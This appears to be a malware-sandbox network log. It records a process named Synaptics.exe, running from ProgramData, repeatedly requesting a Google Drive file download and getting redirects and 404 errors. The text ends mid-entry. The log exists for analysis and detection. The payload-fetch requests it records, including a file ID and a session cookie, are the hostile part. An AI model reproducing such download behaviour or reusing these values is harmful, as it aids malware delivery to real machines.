2024-08-22 11:10:59 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	49874	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:00 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-YD6aujU857I14q7CSKOGgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	49873	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:00 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-siUPkA9JLqy4dgsy6uvURA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	49878	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:01 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-i_cIywLHVdnlG0HQuClPkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	49877	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:01 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:01 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:01 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-48BpwRQmqHSLP773JXxkrg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPjp7QBip41kSiEDaWJEWHLQ_hCGy0L5BEg90Fr-jkePEB4vRqckbTHPLMckR8W_P9jN9Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:01 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:11:01 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 50 48 47 74 51 51 63 71 33 4e 35 44 5f 4b 66 6c 6e 5a 6e 61 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="vPHGtQQcq3N5D_KflnZnaQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:01 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	49879	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:01 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gKMWPfvQ9aRJ6ImYkRopnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	49880	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:01 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:01 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:01 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-DuUOwMOMnhfnWVk9youf0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nNP_ovL3lNW0q1AyW-iJYJ9FdSaGmraFxUMtcGgbtjsGDxHTfl6jWQBKufwYTe-24lW8qk Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:01 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:11:01 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 72 68 36 6a 2d 66 44 44 46 36 4f 69 32 42 6a 51 73 61 35 37 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="Orh6j-fDDF6Oi2BjQsa57Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:01 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	49882	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:02 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:02 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:02 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-YkVbGxRrUtuVRW1qq6h2wQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nOzwHaDQJ17xjUknrFy9voJQ8pFofFsIaVbPVPDyZhm0y8YC8h4QZUUncz5PQKKUfENTTA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:02 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:11:02 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 42 42 6c 32 56 6e 52 56 42 31 4b 76 70 57 41 61 6f 7a 79 42 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="MBBl2VnRVB1KvpWAaozyBw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:02 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	49881	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:02 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nar5ewdPJEk-01anpxoc1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	49883	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:02 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-hblfVK2yb1KshA46MblQ3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: 